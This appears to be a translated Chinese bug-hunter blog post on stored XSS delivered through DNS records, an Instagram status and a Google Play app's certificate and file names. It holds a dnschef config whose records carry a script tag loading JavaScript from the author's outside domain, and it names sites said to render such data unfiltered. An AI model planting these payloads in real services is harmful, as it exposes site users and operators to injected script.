我們要在任何可能的地方測試XSS漏洞
在這篇文章中，我準(zhǔn)備跟大家討論幾種不同的場景，在這些場景中，不同的服務(wù)都會收集各種各樣的數(shù)據(jù)，但它們又無法正確地去處理這些數(shù)據(jù)。在某些情況下，數(shù)據(jù)采用的是安全格式存儲和傳輸?shù)?，但是由于?shù)據(jù)的解析操作以及進(jìn)一步處理的過程中存在安全問題，將導(dǎo)致無害的字符串變成攻擊向量。
XSS和DNS
如果你在搜索引擎中搜索“通過DNS實(shí)現(xiàn)XSS”(XSS via DNS)的相關(guān)話題，你將會看到類似【參考資料一】和【參考資料二】這種介紹如何在TXT記錄中傳遞XSS攻擊向量的文章。但是為什么沒有人考慮過其他類型的記錄呢?比如說CNAME或NS之類的。因?yàn)槿绻阆氚延蛎鳛橐粋€攻擊向量的話，你還需要創(chuàng)建自己的NS服務(wù)器。
也許使用DNSCHEF會是一個好主意。
我使用的子域名是hack.bo0om.ru(任何子域名都可以)，并且將我的IP設(shè)置成了該域名的NS服務(wù)器。接下來修改dnschef.ini并完成dnschef的配置，添加下列記錄：
- [MX]
- *.xss.hack.bo0om.ru="-->'><script/src=//bo0om.ru/xss.js>
- [NS]
- *.xss.hack.bo0om.ru="-->'><script/src=//bo0om.ru/xss.js>
- [CNAME]
- *.xss.hack.bo0om.ru="-->'><script/src=//bo0om.ru/xss.js>
如果某個在線服務(wù)得到了DNS數(shù)據(jù)之后還將它們打印在了屏幕上，只能說明該服務(wù)忘記過濾掉這些數(shù)據(jù)了。
下面是一些存在XSS漏洞的例子：
- · who.is
- · robtex.com
- · dnsqueries.com
- · etc
XSS和Instagram
有一次我只是為了好玩，然后將一段XSS Payload添加到了我Instagram的個人狀態(tài)中。一開始沒發(fā)生什么有趣的事，而且這個XSS Payload也是沒有攻擊性的。
但是之后我發(fā)現(xiàn)，這個XSS Payload竟然在另外的域名和在線服務(wù)中起作用了，從我的Web服務(wù)器日志記錄來看，這些域名貌似指向的是社交網(wǎng)絡(luò)解析器和一些分析服務(wù)。下面給出的是其中部分示例:
- · findgram.me
- · imgrab.com
- · instagy.com
- · iconosquare.com
- · tofo.me
- · photo.sh
- · gramosphere.com
不過其中有一部分已經(jīng)修復(fù)了這個漏洞。
XSS和Google Play
最近，@Black2Fan給我發(fā)了一條信息，并問我能不能夠在Google Play應(yīng)用商店上傳存在XSS漏洞的Android App。我當(dāng)時都不知道竟然還有這種操作!但我感覺可行。于是我自己弄了一個App，然后為這個App生成了一個證書，并將其中的開發(fā)者名稱和其他數(shù)據(jù)用XSS向量進(jìn)行了替換。
我用一些包含惡意代碼的文件以及文件路徑組成了一個有效的頁面標(biāo)簽，并從我自己的域名加載相應(yīng)的腳本文件。
注：Linux系統(tǒng)支持在文件名中使用特殊字符。
雖然我們可以在文件名中注入自己的腳本代碼，但壞消息是這里有30個字符的限制。不幸的是，我手上可以使用的域名都有點(diǎn)長，而且那些只有一個或兩個字符的域名估計(jì)都已經(jīng)被注冊掉了。但是在現(xiàn)代Web中，你可以使用punycode編碼來注冊域名，而且現(xiàn)在還有很多免費(fèi)的punycode域名沒有被注冊。比如說xn--g3h。所以我注冊了一個.ws域名(請參考下圖，有個符號這里打不出來，包括點(diǎn)號在內(nèi)一共四個字符)。
這個App目前仍然可以在Google Play應(yīng)用商店中找到，但是它隨時可能被刪掉。
而且更加有趣的是，當(dāng)我將這個App上傳到VirusTotal之后，其中的XSS向量竟然觸發(fā)了反病毒產(chǎn)品Web端面板中的漏洞。哈哈哈…而且除了VirusTotla之外，還有兩家天朝的安全廠商也存在這種問題，但這里我就不直接提他們的名字了。
總結(jié)
作為一個Bug Hunter，雖然我這一次的發(fā)現(xiàn)沒能拿到漏洞獎金，但希望可以給大家提供一種新的挖洞思路，其實(shí)我也只是為了好玩而已:D不喜勿噴
